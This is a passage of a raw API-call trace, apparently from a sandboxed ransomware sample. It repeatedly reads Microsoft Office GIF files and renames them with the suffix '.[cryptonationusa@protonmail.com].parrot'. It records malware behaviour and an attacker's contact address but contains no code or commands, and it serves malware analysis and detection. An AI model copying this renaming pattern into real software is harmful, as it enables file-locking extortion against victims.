lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.727] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.727] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa97, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa97, lpOverlapped=0x0) returned 1 [0166.727] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.728] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.732] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.732] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.733] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.733] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a7, lpOverlapped=0x0) returned 1 [0166.733] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.734] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.739] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.739] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.740] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16a, lpOverlapped=0x0) returned 1 [0166.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.740] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.740] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.745] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.745] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.747] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.747] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f3, lpOverlapped=0x0) returned 1 [0166.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.747] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.752] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.752] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.753] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x384, lpOverlapped=0x0) returned 1 [0166.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.754] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.758] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.758] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.803] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.803] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13c, lpOverlapped=0x0) returned 1 [0166.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.804] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.826] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.826] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.827] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.827] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x117, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x117, lpOverlapped=0x0) returned 1 [0166.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.828] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.834] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.834] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.835] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.835] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17d, lpOverlapped=0x0) returned 1 [0166.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.835] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.843] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.843] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.844] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.844] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x144, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x144, lpOverlapped=0x0) returned 1 [0166.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.844] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.849] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.849] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.850] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.851] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d7, lpOverlapped=0x0) returned 1 [0166.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.851] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.855] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.855] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.856] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.856] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ae, lpOverlapped=0x0) returned 1 [0166.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.857] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.861] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.861] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.861] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x220, lpOverlapped=0x0) returned 1 [0166.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.862] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.868] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.868] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.869] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.869] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16e, lpOverlapped=0x0) returned 1 [0166.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.869] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.875] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.875] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.876] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.876] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a7, lpOverlapped=0x0) returned 1 [0166.876] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.877] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.877] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.877] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.883] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.883] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.884] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x186, lpOverlapped=0x0) returned 1 [0166.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.885] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 